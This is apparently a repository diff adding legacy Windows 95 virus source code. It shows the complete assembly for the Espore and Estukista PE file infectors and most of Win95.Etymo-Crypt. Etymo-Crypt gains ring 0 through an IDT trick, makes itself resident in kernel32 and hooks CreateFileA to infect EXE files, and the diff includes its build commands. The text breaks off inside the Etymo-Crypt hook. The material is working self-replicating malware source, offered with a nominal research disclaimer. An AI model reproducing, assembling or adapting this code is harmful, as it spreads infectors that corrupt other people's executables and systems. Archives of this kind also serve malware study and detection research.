mov ecx, [ebp+rda_sz]
|
||||
mov edx, [ebp+rda_key] ;setup loop
|
||||
.loop:
|
||||
xor [esi], dl
|
||||
inc esi
|
||||
dec ecx
|
||||
jnz .loop
|
||||
inc dword [ebp+rda_pass] ;increase pass counter
|
||||
cmp [ebp+rda_pass], byte 2
|
||||
jne .check ;first pass
|
||||
sub eax, eax
|
||||
mov [ebp+rda_pass], eax
|
||||
inc dword [ebp+rda_key] ;new key
|
||||
jmp short .setup
|
||||
.check:
|
||||
push ebp
|
||||
push dword [ebp+rda_pbfr]
|
||||
push dword [ebp+rda_sz]
|
||||
call crc32 ;calc crc32
|
||||
pop ebp
|
||||
cmp eax, [ebp+rda_crc]
|
||||
jne .setup ;crc32 dont match
|
||||
leave
|
||||
ret 12
|
||||
%endif
|
||||
|
||||
vsize equ ($-$$)
|
||||
|
||||
bname:
|
1586
LegacyWindows/Win95.Boobs.asm
Normal file
1586
LegacyWindows/Win95.Boobs.asm
Normal file
File diff suppressed because it is too large
Load Diff
136
LegacyWindows/Win95.Espore.asm
Normal file
136
LegacyWindows/Win95.Espore.asm
Normal file
@ -0,0 +1,136 @@
|
||||
;---------------------------- W95 ESPORE BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; WOW!!!! 140 BYTES !!!! AND 100% RING 3 !!!! (ONLY WINDOZE 9X CAN SUPPORT IT)
|
||||
|
||||
; OF COURSE MIDFILE AND NO GROWING CAVITY TECH
|
||||
|
||||
; IT SEARCHS FILENAMES INTO CACHE (AND PARASITE THEM) :-)
|
||||
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ
|
||||
|
||||
; PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL EDX VALUE POINTS TO A 28KB CACHE BUFFER WICH CONTAINS SEVERAL
|
||||
|
||||
; FILENAMES WITH COMPLETE PATH (ONLY PE EXE/DLL )
|
||||
|
||||
.386P
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
DB 'BIEN PEKE?O BIEN... LIKE AN ESPORE... HEHEHE',0
|
||||
DB ' W9X ESPORE SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
MEGAMIX: ; EDX: BUFFER
|
||||
; EAX: EIP
|
||||
; ECX: BUFFER
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV ESI,0C1000000H ; ESI: BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
MOV ECX,28500 ; LIMIT
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
OK:
|
||||
PUSH 00401000H
|
||||
OLD_EIP EQU $-4
|
||||
WARNING:
|
||||
RET
|
||||
KAA:
|
||||
MOV AX, 3D02h
|
||||
CALL [EDI]
|
||||
XCHG EBX, EAX
|
||||
PUSHAD ; SAVE ECX,EBX,EDX,EBP,EDI
|
||||
CALL PHECT
|
||||
POPAD
|
||||
MOV AH, 3Eh
|
||||
CALL [EDI]
|
||||
JMP PORK
|
||||
|
||||
PHECT:
|
||||
|
||||
XOR ECX,ECX
|
||||
MOV EDX, ESI
|
||||
MOV AH, 3Fh
|
||||
CALL R_W
|
||||
MOV ECX, [ESI+3Ch]
|
||||
LEA EAX, [ESI+ECX]
|
||||
CMP BYTE PTR [EAX], "P"
|
||||
JNE WARNING
|
||||
MOV ECX,[EAX+28H]
|
||||
CMP ECX, 1024
|
||||
JB WARNING
|
||||
PUSH EBP
|
||||
ADD ECX,[EAX+34H]
|
||||
MOV [EBP+OLD_EIP-MEGAMIX],ECX
|
||||
MOV EDI,EAX
|
||||
|
||||
PORRO:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B' ; hehehehe
|
||||
JNE PORRO
|
||||
INC EDI
|
||||
SUB EDI,ESI
|
||||
MOV EDX,EDI
|
||||
XCHG DWORD PTR [EAX+28h], EDI
|
||||
LEA EDI, [ESI+EDX]
|
||||
PUSH MIX_SIZ/4
|
||||
POP ECX
|
||||
POP EAX
|
||||
PUSH EAX
|
||||
XCHG ESI,EAX
|
||||
REP MOVSD
|
||||
POP EDI
|
||||
MOV EDX, EAX
|
||||
W:
|
||||
MOV AH, 40h
|
||||
R_W:
|
||||
PUSHAD
|
||||
XOR EAX,EAX
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH, 4h
|
||||
CALL [EDI]
|
||||
RET
|
||||
|
||||
ALIGN 4
|
||||
FILE_END:
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
END MEGAMIX
|
||||
|
231
LegacyWindows/Win95.Estukista.asm
Normal file
231
LegacyWindows/Win95.Estukista.asm
Normal file
@ -0,0 +1,231 @@
|
||||
;-------------------------------- W95 ESTUKISTA BY HenKy -----------------------------
|
||||
;
|
||||
;-AUTHOR: HenKy
|
||||
;
|
||||
;-MAIL: HenKy_@latinmail.com
|
||||
;
|
||||
;-ORIGIN: SPAIN
|
||||
;
|
||||
|
||||
; VIRUS_SIZE = 126 BYTES!!!!
|
||||
|
||||
; 100% FUNCTIONAL UNDER W95/98 !!!!! AND IS RING 3!!!!!!
|
||||
|
||||
; (NOT TESTED UNDER ME)
|
||||
|
||||
; INFECTS *ALL* OPEN PROCESES AND EVEN ALL DLL AND MODULES IMPORTED BY THEM
|
||||
|
||||
; THE 0C1000000H ADDRESS IS USED AS BUFFER BECOZ WE HAVE WRITE/READ PRIVILEGES
|
||||
|
||||
; THE BFF712B9h ADDRESS IS THE CALL VINT21
|
||||
|
||||
; THE INITIAL ESI VALUE POINTS TO A READABLE MEMORY ZONE (SEEMS TO BE A CACHE ONE
|
||||
|
||||
; WHERE WINDOWS LOADS THE PE HEADER, THE IMPORTANT THING IS THAT HERE U CAN FIND
|
||||
|
||||
; THE FILENAMES WITH COMPLETE PATH OF ALL OPEN PROCESES)
|
||||
|
||||
|
||||
;BUGS: * THE BAD THING IS THAT ESI INITIAL VALUE ON SOME FILES POINTS TO KERNEL, CAUSING
|
||||
; THAT NO FILENAME FOUND (VIRUS WILL INFECT NOTHING AND WILL RETURN TO HOST).
|
||||
|
||||
; * ANOTHER POSSIBLE BUG IS THAT 0C1000000H MAYBE NOT READ/WRITE ON ALL COMPUTERS
|
||||
; (AT LEAST IN MY W95 AND W98 WORKS FINE, AND INTO COMPUTER'S FRIEND WITH 98 WORKS TOO)
|
||||
|
||||
; * AND THE MORE PAINLY THING IS THE MASK LIMIT.... IF VERY LOW-> LESS INFECTIOUS
|
||||
; IF VERY HIGH-> RISK OF READ NON-MAPPED AREA (AS WE ARE IN RING 3 IT WILL HANG WINDOZE)
|
||||
|
||||
; ANYWAY IN MY TESTS A LOT OF FILES BECOME INFECTED , MANY OF THEM WINDOWS DLL'S
|
||||
|
||||
|
||||
;DUMP OF INITIAL ESI VALUE OF MY COMPILED BINARY (I HAVE AN OPEN PROCESS CALLED AZPR.EXE)
|
||||
|
||||
|
||||
|
||||
;81621788 FF FF FF FF 04 00 00 00 00 00 00 00 00 00 00 00 ????
|
||||
;81621798 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217D8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;816217F8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621808 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621818 00 00 00 00 00 00 00 00 20 00 00 A0 43 3A 5C 57 C:\W
|
||||
;81621828 49 4E 50 52 4F 47 5C 41 5A 50 52 5C 41 5A 50 52 INPROG\AZPR\AZPR
|
||||
;81621838 2E 45 58 45 20 00 00 00 48 00 00 A0 44 00 00 00 .EXE H D
|
||||
|
||||
; ....
|
||||
|
||||
;81621CD8 50 A0 D7 82 3C 02 00 A0 50 45 00 00 4C 01 08 00 P ??< PE L
|
||||
;81621CE8 A0 95 37 39 00 00 00 00 00 00 00 00 E0 00 82 01 ?79 à ?
|
||||
;81621CF8 0B 01 02 12 00 22 02 00 00 A8 00 00 00 50 05 00 " ¨ P
|
||||
;81621D08 01 40 0B 00 00 10 00 00 00 40 02 00 00 00 40 00 @ @ @
|
||||
;81621D18 00 10 00 00 00 02 00 00 01 00 0B 00 00 00 00 00
|
||||
;81621D28 04 00 00 00 00 00 00 00 00 90 0C 00 00 04 00 00 <20>
|
||||
;81621D38 00 00 00 00 02 00 00 00 00 00 04 00 00 00 01 00
|
||||
;81621D48 00 20 00 00 00 10 00 00 00 00 00 00 10 00 00 00
|
||||
;81621D58 00 00 00 00 00 00 00 00 64 54 0B 00 D4 01 00 00 dT ?
|
||||
;81621D68 00 A0 08 00 00 94 02 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621D78 00 00 00 00 00 00 00 00 CC 52 0B 00 08 00 00 00 ?R
|
||||
;81621D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||
;81621DC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00
|
||||
;81621DD8 2E 74 65 78 74 00 00 00 00 30 02 00 00 10 00 00 .text 0
|
||||
;81621DE8 00 C0 00 00 00 04 00 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621DF8 00 00 00 00 40 00 00 C0 2E 69 64 61 74 61 00 00 @ ?.idata
|
||||
;81621E08 00 20 00 00 00 40 02 00 00 04 00 00 00 C4 00 00 @ ?
|
||||
;81621E18 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
|
||||
; ....
|
||||
|
||||
;81621E38 00 1C 00 00 00 C8 00 00 00 00 00 00 00 00 00 00 ?
|
||||
;81621E48 00 00 00 00 40 00 00 C0 2E 62 73 73 00 00 00 00 @ ?.bss
|
||||
;81621E58 00 50 05 00 00 00 03 00 00 50 05 00 00 00 00 00 P P
|
||||
;81621E68 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621E78 2E 72 65 6C 6F 63 00 00 00 50 00 00 00 50 08 00 .reloc P P
|
||||
;81621E88 00 00 00 00 00 E4 00 00 00 00 00 00 00 00 00 00 ä
|
||||
;81621E98 00 00 00 00 40 00 00 C0 2E 72 73 72 63 00 00 00 @ ?.rsrc
|
||||
;81621EA8 00 A0 02 00 00 A0 08 00 00 9A 01 00 00 E4 00 00 š ä
|
||||
;81621EB8 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621EC8 61 73 70 72 00 00 00 00 00 40 01 00 00 40 0B 00 aspr @ @
|
||||
;81621ED8 00 3A 01 00 00 7E 02 00 00 00 00 00 00 00 00 00 : ~
|
||||
;81621EE8 00 00 00 00 50 08 00 C0 2E 64 61 74 61 00 00 00 P ?.data
|
||||
;81621EF8 00 10 00 00 00 80 0C 00 00 00 00 00 00 B8 03 00 ? ¸
|
||||
;81621F08 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 @ ?
|
||||
;81621F18 40 00 00 A0 00 00 00 00 E0 1C 62 81 FF FF FF FF @ àb<>????
|
||||
;81621F28 E0 13 62 81 F0 13 62 81 18 00 08 00 8F 02 00 00 àb<>ðb<> <20>
|
||||
;81621F38 08 00 00 00 00 00 00 00 00 00 40 00 D7 2B 01 00 @ ?+
|
||||
;81621F48 30 23 62 81 5C 1F 62 81 18 00 6C 1F 62 81 08 00 0#b<>\b<> lb<>
|
||||
;81621F58 20 00 00 A0 43 3A 5C 57 49 4E 50 52 4F 47 5C 41 C:\WINPROG\A
|
||||
;81621F68 5A 50 52 5C 41 5A 50 52 2E 45 58 45 00 CC CC CC ZPR\AZPR.EXE ???
|
||||
;81621F78 B4 03 00 A0 4E 45 01 00 00 00 00 00 00 00 8C 03 ´ NE Œ
|
||||
|
||||
; ....
|
||||
|
||||
|
||||
.586P
|
||||
PMMX ; WORF... ... JEJEJE
|
||||
.MODEL FLAT
|
||||
LOCALS
|
||||
|
||||
EXTRN ExitProcess:PROC
|
||||
MIX_SIZ EQU (FILE_END - MEGAMIX)
|
||||
|
||||
MACROSIZE MACRO
|
||||
DB MIX_SIZ/00100 mod 10 + "0"
|
||||
DB MIX_SIZ/00010 mod 10 + "0"
|
||||
DB MIX_SIZ/00001 mod 10 + "0"
|
||||
ENDM
|
||||
.DATA
|
||||
|
||||
DB 0
|
||||
|
||||
DB 'SIZE = '
|
||||
MACROSIZE
|
||||
|
||||
.CODE
|
||||
|
||||
|
||||
MEGAMIX:
|
||||
; EAX: EIP
|
||||
; ESI: BUFFER
|
||||
|
||||
|
||||
VINT21:
|
||||
DD 0BFF712B9h ; MOV ECX,048BFF71H ;-) Z0MBiE
|
||||
DB 'H' ; HenKy ;P
|
||||
XCHG EDI, EAX ; EDI: DELTA
|
||||
MOV EDX,ESI ; EDX=ESI: CACHE BUFFER (ESPORE BUG)
|
||||
MOV ESI,0C1000000H ; ESI: MY DATA BUFFER
|
||||
MOV EBP,EDI ; NOW: EBP=EDI=DELTA=INT21H
|
||||
|
||||
;EDX: POINTER TO FNAME
|
||||
|
||||
;LEA EDX,POPOPOP ; FOR DEBUG ONLY
|
||||
;JMP KAA
|
||||
|
||||
MOV ECX,28000 ; LIMIT
|
||||
PUSHAD
|
||||
|
||||
AMIMELASUDA:
|
||||
|
||||
POPAD
|
||||
PORK:
|
||||
INC EDX
|
||||
CMP WORD PTR [EDX],':C'
|
||||
JE KAA
|
||||
LOOP PORK
|
||||
|
||||
|
||||
WARNING:
|
||||
PUSH 00401000H ; ANOTHER ESPORE BUG CORRECTED :)
|
||||
RET
|
||||
|
||||
KAA:
|
||||
PUSHAD
|
||||
MOV AX, 3D02h ; open
|
||||
CALL [EDI]
|
||||
JC AMIMELASUDA
|
||||
XCHG EBX, EAX
|
||||
MOV EDX,ESI
|
||||
XOR ECX,ECX
|
||||
MOV CH,4H
|
||||
MOV AH, 3Fh ;read
|
||||
CALL [EDI]
|
||||
MOV EAX, [EDX+3Ch]
|
||||
ADD EAX,EDX
|
||||
MOV EDI,EAX
|
||||
PUSH 32
|
||||
POP ECX
|
||||
|
||||
DEPOTA:
|
||||
INC EDI
|
||||
CMP BYTE PTR [EDI],'B'; HEHEHEHE
|
||||
JE GOSTRO
|
||||
JMP DEPOTA
|
||||
GOSTRO:
|
||||
INC EDI
|
||||
PUSH EDI
|
||||
MOV ESI,EBP
|
||||
REP MOVSD
|
||||
MOV ESI,EDI
|
||||
POP EDI
|
||||
SUB EDI,EDX
|
||||
XCHG DWORD PTR [EAX+28H],EDI
|
||||
CMP DI,1024
|
||||
JB CLOZ
|
||||
ADD EDI,[EAX+34H]
|
||||
XCHG DWORD PTR [ESI-MONGORE],EDI
|
||||
|
||||
PUSH EBP
|
||||
POP EDI
|
||||
XOR EAX,EAX
|
||||
PUSHAD
|
||||
MOV AH, 42h
|
||||
CDQ
|
||||
CALL [EDI]
|
||||
POPAD
|
||||
MOV CH,4H
|
||||
MOV AH,40H ; write
|
||||
CALL [EDI]
|
||||
CLOZ:
|
||||
MOV AH,3EH ; close
|
||||
CALL [EDI]
|
||||
JMP AMIMELASUDA
|
||||
|
||||
FILE_END:
|
||||
|
||||
DW 0 ;-P
|
||||
|
||||
MONGORE EQU 95 ; OLD_EIP
|
||||
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
;POPOPOP DB "H:\PRUEBAS\TEST.ZZZ",0
|
||||
|
||||
END MEGAMIX
|
||||
|
709
LegacyWindows/Win95.Etymo-Crypt.asm
Normal file
709
LegacyWindows/Win95.Etymo-Crypt.asm
Normal file
@ -0,0 +1,709 @@
|
||||
; *************************************************************************
|
||||
; ******************** ********************
|
||||
; ******************** Win95.Etymo-Crypt ********************
|
||||
; ******************** by ********************
|
||||
; ******************** BLACK JACK ********************
|
||||
; ******************** ********************
|
||||
; *************************************************************************
|
||||
|
||||
comment ~
|
||||
|
||||
NAME: Win95.Etymo-Crypt
|
||||
AUTHOR: Black Jack [independant Austrian Win32asm virus coder]
|
||||
CONTACT: Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack
|
||||
TYPE: Win9x global ring3 resident parasitic PE infector
|
||||
SIZE: 1308 bytes
|
||||
|
||||
DESCRIPTION: When an infected file is run, the virus gets control. It gains
|
||||
ring0 by the standart IDT modifying trick. But it doesn't stay
|
||||
resident in ring0 (hooking VxD calls), but it just uses its
|
||||
ring0 privilege to write to the write-protected kernel32 memory:
|
||||
it copies itself into a gap in kernel32 in memory (between
|
||||
the header and the start of the first section, like nigr0's
|
||||
Win95.K32 virus) and hooks the CreateFileA API.
|
||||
Whenever the virus intercepts a file open now, it checks if
|
||||
the opened file is an infectable, uninfected PE EXE and infects
|
||||
it if all is ok. The infection process is a bit unusual: The
|
||||
virus creates a new section called ".vdata" (with standart data
|
||||
section attributes) and saves there the code from the entrypoint,
|
||||
after it has been encrypted against the virusbody. Then the
|
||||
entrypoint is overwritten with virus code, most of it encrypted
|
||||
again. The attributes of the code section are not modified, the
|
||||
virus doesn't need the write attribute set, because it only
|
||||
modifies its data when it is in ring0. The pro of this infection
|
||||
method is that there are no sections with unusual attributes.
|
||||
|
||||
KNOWN BUGS: Since the virus needs to be resident to restore control to the
|
||||
host, there is no need for checking the OS or preventing errors
|
||||
with SEH, because infected files will crash under WinNT anyways,
|
||||
there's no way to prevent that.
|
||||
Because of that unbound import stuff, the virus only catches
|
||||
very few file opens. In a kernel32.dll infector this would be
|
||||
easy to prevent by changing the timedate stamp of kernel32.dll.
|
||||
In this case this doesn't work, because the system checks this
|
||||
stamp after the kernel32 has been loaded into memory and will
|
||||
give error messages if it has been changed each times the user
|
||||
tries to start a program. Another possible solution, patching
|
||||
the entry point of the hooked API with the JMP_virus instruction,
|
||||
like nigr0 and Bumblebee do, won't work too, because with my
|
||||
residency method the kernel memory stays write protected. And so
|
||||
this virus is a slow infector, but it still catches enough file
|
||||
opens to replicate successfully.
|
||||
|
||||
ASSEMBLE WITH:
|
||||
tasm32 /mx /m etymo.asm
|
||||
tlink32 /Tpe /aa etymo.obj,,, import32.lib
|
||||
|
||||
there's no need for PEWRSEC or a similar tool, because the
|
||||
virus code is supposed to run in a read-only section anyways.
|
||||
|
||||
DISCLAIMER: I do *NOT* support the spreading of viruses in the wild.
|
||||
Therefore, this source was only written for research and
|
||||
education. Please do not spread it. The author can't be hold
|
||||
responsible for what you decide to do with this source.
|
||||
|
||||
PS: Greetings go to Gilgalad for the name of this virus!
|
||||
|
||||
~
|
||||
; ===========================================================================
|
||||
|
||||
|
||||
virussize EQU (virus_end - virus_start)
|
||||
workspace EQU 10000
|
||||
|
||||
|
||||
Extrn MessageBoxA:Proc ; only for 1st gen
|
||||
Extrn ExitProcess:Proc
|
||||
|
||||
386p
|
||||
model flat
|
||||
|
||||
; First generation code is in the data section:
|
||||
|
||||
data
|
||||
start:
|
||||
push 0 ; show stupid messagebox
|
||||
push offset caption
|
||||
push offset message
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
JMP virus_start
|
||||
|
||||
quit_1st_gen:
|
||||
; quit program
|
||||
push 0 ; exit code
|
||||
push 0 ; ret address of call
|
||||
push offset ExitProcess ; can't do a real call,
|
||||
RET ; because this code is moved
|
||||
|
||||
caption db "Black Jack strikes again...", 0
|
||||
message db "Press OK to run the Win95.Etymo-Crypt virus", 0
|
||||
|
||||
skip_decryption_1st_gen:
|
||||
mov esi, offset new_bytes ; skip the decryption in the
|
||||
mov edi, offset jmp_skip_decryption_1st_gen ; first generation
|
||||
movsb
|
||||
movsd
|
||||
JMP over_encryption
|
||||
|
||||
new_bytes:
|
||||
mov ecx, ((virus_end - encrypted)/4)
|
||||
|
||||
|
||||
; Virus body is in the code section:
|
||||
|
||||
code
|
||||
virus_start:
|
||||
|
||||
; We have to access the section with the original host code from ring3 first,
|
||||
; because if we access it first from ring0, it is not mapped yet and the
|
||||
; virus will cause an exception. besides, the first dword of the encrypted
|
||||
; host code is also the key for the virus decryption.
|
||||
|
||||
db 0A1h ; mov eax, [imm32]
|
||||
org_host_code_VA dd offset quit_1st_gen
|
||||
|
||||
call next ; go to ring0 calling routine
|
||||
|
||||
; ----- FIRST PART OF RING0 CODE --------------------------------------------
|
||||
r0proc:
|
||||
pop ebp ; offset of end_next label
|
||||
sub ebp, (end_next - virus_start) ; EBP=delta offset
|
||||
push ebp ; is also true offset of
|
||||
; virus start in memory,
|
||||
; where we will return to
|
||||
|
||||
mov dword ptr [edx+5*8], esi ; restore interrupt
|
||||
mov dword ptr [edx+5*8+4], edi ; descriptor
|
||||
|
||||
|
||||
lea edi, [ebp+virus_end-virus_start] ; EDI=end of virus in memory
|
||||
|
||||
jmp_skip_decryption_1st_gen:
|
||||
JMP skip_decryption_1st_gen ; skip decryption in first
|
||||
; generation. will be
|
||||
; replaced with:
|
||||
; mov ecx, ((virus_end - encrypted)/4)
|
||||
|
||||
|
||||
decrypt_virus_body:
|
||||
dec edi ; go to previous dword
|
||||
dec edi
|
||||
dec edi
|
||||
dec edi
|
||||
|
||||
xor dword ptr [edi], eax ; decrypt one dword
|
||||
mov eax, dword ptr [edi] ; decrypted dword is new key
|
||||
LOOP decrypt_virus_body ; loop until all is decrypted
|
||||
|
||||
JMP encrypted ; jump to code that was just
|
||||
; decrypted.
|
||||
|
||||
; ----- JUMP TO RING0 -------------------------------------------------------
|
||||
next:
|
||||
push edx ; reserve room on stack
|
||||
sidt [esp-2] ; get IDT address
|
||||
pop edx ; EDX=IDT address
|
||||
|
||||
mov esi, dword ptr [edx+5*8] ; save old interrupt
|
||||
mov edi, dword ptr [edx+5*8+4] ; descriptor to EDI:ESI
|
||||
|
||||
pop ebx ; get address of ring0 proc
|
||||
|
||||
mov word ptr [edx+5*8], bx ; write offset of our ring0
|
||||
shr ebx, 16 ; procedure into interrupt
|
||||
mov word ptr [edx+5*8+6], bx ; descriptor
|
||||
|
||||
int 5 ; call our ring0 code!
|
||||
end_next:
|
||||
; no IRET to here.
|
||||
|
||||
; ----- MAIN ENCRYPTED RING0 CODE -------------------------------------------
|
||||
encrypted:
|
||||
|
||||
; now we decrypt the original start code of the host, which has been
|
||||
; encrypted against the virus body.
|
||||
|
||||
mov esi, ebp ; ESI=start of virus body
|
||||
mov edi, [ebp + (org_host_code_VA-virus_start)] ; start of host code
|
||||
xor ecx, ecx ; ECX=0
|
||||
|
||||
decrypt_loop:
|
||||
lodsb
|
||||
sub byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
add byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
lodsb
|
||||
xor byte ptr [edi+ecx], al
|
||||
inc ecx
|
||||
|
||||
cmp ecx, virussize ; all decrypted?
|
||||
JB decrypt_loop ; loop until all is done
|
||||
|
||||
over_encryption:
|
||||
|
||||
; the kernel32 address is hardcoded, because this is virus is only Win95
|
||||
; compatible anyways
|
||||
|
||||
mov eax, 0BFF70000h ; EAX=kernel32 offset
|
||||
mov ebx, eax ; EBX=EAX
|
||||
add ebx, [eax+3Ch] ; EBX=PE header VA
|
||||
|
||||
mov edi, [ebx+54h] ; header size
|
||||
add edi, eax ; EDI=virus VA
|
||||
cmp byte ptr [edi], 0A1h ; "mov eax, imm32" opcode is
|
||||
JE already_resident ; residency marker
|
||||
push edi ; save virus VA in kernel32
|
||||
|
||||
; ----- SEARCH API ADDRESSES ------------------------------------------------
|
||||
mov edx, [ebx+78h] ; EDX=export directory RVA
|
||||
add edx, eax ; EDX=export directory VA
|
||||
lea esi, [ebp + (names_RVA_table - virus_start)] ; array with ptrs
|
||||
; to API names
|
||||
lea edi, [ebp + (API_RVAs - virus_start)] ; where to store the
|
||||
; API adresses
|
||||
|
||||
find_API:
|
||||
xor ecx, ecx ; ECX=0 (API names counter)
|
||||
|
||||
search_loop:
|
||||
pusha ; save all registers
|
||||
push eax ; save EAX (kernel32 offset)
|
||||
lodsd ; get offset of API name
|
||||
or eax, eax ; all done?
|
||||
JZ all_found
|
||||
add eax, ebp ; fixup with delta offset
|
||||
xchg eax, esi ; ESI=VA of a needed API name
|
||||
pop eax ; restore EAX (kernel32 offs)
|
||||
mov edi, [edx+20h] ; EDI=AddressOfNames RVA
|
||||
add edi, eax ; EDI=AddressOfNames VA
|
||||
mov edi, [edi+ecx*4] ; EDI=RVA of API Name
|
||||
add edi, eax ; EDI=VA of API Name
|
||||
|
||||
cmp_loop:
|
||||
lodsb ; get char from our API name
|
||||
scasb ; equal to the one in k32 ?
|
||||
JNE search_on_API ; if not,try next exported API
|
||||
or al, al ; end of name?
|
||||
JZ found_API ; we've found an needed API!
|
||||
JMP cmp_loop ; go on with name compare
|
||||
|
||||
search_on_API:
|
||||
popa ; restore all registers
|
||||
inc ecx ; try next API in exports
|
||||
JMP search_loop ; go on
|
||||
|
||||
found_API:
|
||||
popa ; restore all registers
|
||||
shl ecx, 1 ; ECX=ECX*2 (index ordinals)
|
||||
add ecx, [edx+24h] ; AddressOfOrdinals RVA
|
||||
movzx ecx, word ptr [ecx+eax] ; ECX=API Ordinal
|
||||
shl ecx, 2 ; ECX=ECX*4
|
||||
add ecx, [edx+1Ch] ; AddressOfFunctions RVA
|
||||
add ecx, eax ; ECX=VA of API RVA
|
||||
mov dword ptr [ebp+(hook_API-virus_start)], ecx ; save it
|
||||
mov ecx, [ecx] ; ECX=API RVA
|
||||
push eax ; save EAX (kernel32 base)
|
||||
add eax, ecx ; EAX=API VA!
|
||||
stosd ; store it!
|
||||
lodsd ; do the next API (add esi,4)
|
||||
pop eax ; restore EAX (kernel32 base)
|
||||
JMP find_API ; do next API.
|
||||
|
||||
all_found:
|
||||
pop eax ; remove EAX from stack
|
||||
popa ; restore all registers
|
||||
|
||||
; last found API is hooked
|
||||
mov ecx, [ebp+(hook_API-virus_start)] ; ECX=VA of API RVA
|
||||
mov edx, [ebx+54h] ; kernel32 header size
|
||||
; (virus RVA in kernel32)
|
||||
add edx, (hook - virus_start) ; RVA virus hook in kernel32
|
||||
mov [ecx], edx ; hook API!
|
||||
|
||||
|
||||
pop edi ; restore EDI:virus VA in k32
|
||||
mov esi, ebp ; ESI=start of virus in mem
|
||||
mov ecx, virussize ; ECX=virussize
|
||||
cld ; clear directory flag
|
||||
rep movsb ; move virus to TSR location!
|
||||
sub edi, (virus_end - go_on_r0) ; EDI=offset go_on_r0 in k32
|
||||
JMP restore_host ; restore host
|
||||
|
||||
already_resident:
|
||||
add edi, (go_on_r0 - virus_start) ; EDI=offset go_on_r0 in k32
|
||||
|
||||
restore_host:
|
||||
mov esi, [ebp + (org_host_code_VA - virus_start)] ; ESI=offset
|
||||
; of original host code
|
||||
JMP edi ; go to go_on_r0 in kernel32
|
||||
|
||||
|
||||
go_on_r0:
|
||||
mov edi, ebp ; EDI=virus/host entrypoint
|
||||
mov ecx, virussize ; ECX=virussize
|
||||
cld ; clear directory flag
|
||||
rep movsb ; move host code back!
|
||||
iretd ; go to original entry point
|
||||
; in ring3!
|
||||
|
||||
; ----- TSR VIRUS HOOK OF CreateFileA ---------------------------------------
|
||||
hook:
|
||||
push eax ; reserve room on stack for
|
||||
; return address
|
||||
pushf ; save flags
|
||||
pusha ; save all registers
|
||||
|
||||
call TSR_next ; get delta offset
|
||||
TSR_next:
|
||||
pop ebp
|
||||
sub ebp, offset TSR_next
|
||||
|
||||
mov eax, [ebp+offset CreateFileA] ; address of original routine
|
||||
mov [esp+9*4], eax ; set return address
|
||||
mov esi, [esp+11*4] ; get address of filename
|
||||
|
||||
push esi ; save it
|
||||
search_ext:
|
||||
lodsb ; get a byte from filename
|
||||
or al, al ; end of filename?
|
||||
JNZ search_ext ; search on
|
||||
mov eax, [esi-4] ; get extension in AX
|
||||
pop esi ; restore filename ptr in ESI
|
||||
or eax, 00202020h ; make lowercase
|
||||
cmp eax, "exe" ; is it an EXE file?
|
||||
JNE exit_hook ; if not, then exit
|
||||
|
||||
push esi ; offset filename
|
||||
call [ebp+offset GetFileAttributesA] ; get file attribtes
|
||||
inc eax ; -1 means error
|
||||
JZ exit_hook
|
||||
dec eax
|
||||
|
||||
push eax ; save attributes and
|
||||
push esi ; filename ptr so we can
|
